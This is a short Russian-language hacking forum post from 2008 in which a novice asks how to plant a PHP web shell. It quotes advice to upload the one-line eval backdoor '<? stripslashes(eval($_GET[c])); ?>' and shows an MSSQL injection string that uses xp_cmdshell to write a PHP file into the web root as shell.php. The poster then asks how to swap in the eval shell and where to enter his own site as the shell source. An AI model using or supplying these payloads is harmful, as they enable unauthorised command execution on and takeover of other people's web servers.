17.06.2008, 16:51
|
|
Новичок
Регистрация: 06.06.2008
Сообщений: 15
Провел на форуме:
23457
Репутация:
2
|
|
Сообщение от Ponchik
Я всегда нелюбил людей которые тупо повторяют то что видят, нужно свои мозги иметь! Хотя чё я ждал снимая это видео, конечно привалят имено такие...
В общем заливай <? stripslashes(eval($_GET[c])); ?> но stripslashes() не всегда надо, не везде экранирование, но на 90% серваках, а дальше тебе палюбому надо знать PHP, скачай книгу "самоучитель по PHP" и пачитай, там дальше поймёш
Ну вот...как ето понять
PHP код:
<? stripslashes(eval($_GET[c])); ?>
Тут понятнее
PHP код:
'; USE Master exec xp_cmdshell 'echo "<?php phpinfo(); ?>" > C:AppServ/www/shell.php;--
понятно куда заливаешь, и в какой фаил 
"<? stripslashes(eval($_GET[c])); ?>" > C:AppServ/www/shell.php;--
может быть так  и куда свой сайт вписовать (откуда шелл закачивать надо) ?
Последний раз редактировалось Ronny; 17.06.2008 в 18:18..
|
|
|